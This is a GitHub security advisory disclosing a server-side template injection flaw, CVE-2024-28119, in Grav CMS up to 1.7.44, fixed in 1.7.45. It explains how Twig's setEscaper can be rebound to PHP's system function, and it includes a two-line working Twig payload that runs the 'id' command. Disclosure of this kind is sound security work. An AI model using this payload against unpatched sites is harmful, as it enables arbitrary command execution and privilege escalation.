Skip to content

Server Side Template Injection (SSTI) via Twig escape handler

High
rhukster published GHSA-2m7x-c7px-hp58 Mar 21, 2024

Package

No package listed

Affected versions

<=1.7.44

Patched versions

1.7.45

Description

I'm submitting the report again as there seems to be a lack of explanation regarding the previous one.
As you mentioned, the vulnerability occurs in the 'setEscaper' function of the twig core extension.
However, when the sandbox feature is enabled in twig, this vulnerability does not work.
Therefore, we believed that even if we reported it to twig, that part would not be patched, which is why we have reported it again to grav.

While grav does have some filtering for twig function calls, it seems that the twig sandbox does not enabled.
We recommend either preventing access to the default classes of twig in any way or overriding setEscaper to implement filtering.

Of course, you may not consider this a security vulnerability. However, as long as the sandbox is not activated, this issue has the potential to trouble you for a long time, and allowing access to the default classes of twig could potentially introduce problems.

Summary

Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands.

Details

https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99

/**
     * Defines a new escaper to be used via the escape filter.
     *
     * @param string   $strategy The strategy name that should be used as a strategy in the escape call
     * @param callable $callable A valid PHP callable
     */
    public function setEscaper($strategy, callable $callable)
    {
        $this->escapers[$strategy] = $callable;
    }

Twig supports the functionality to redefine the escape function through the setEscaper method.
However, that method is not originally exposed to the twig environment, but it is accessible through the payload below.

{{ grav.twig.twig.extensions.core.setEscaper('a','a') }}

At this point, it accepts callable type as an argument, but as there is no validation for the $callable variable, attackers can set dangerous functions like system as the escaper function.

PoC

{{ var_dump(grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter')) }}
{{ var_dump(['id'] | escape('system', 'system')) }}

Impact

Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages.
As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.

Severity

High

CVE ID

CVE-2024-28119

Weaknesses

Credits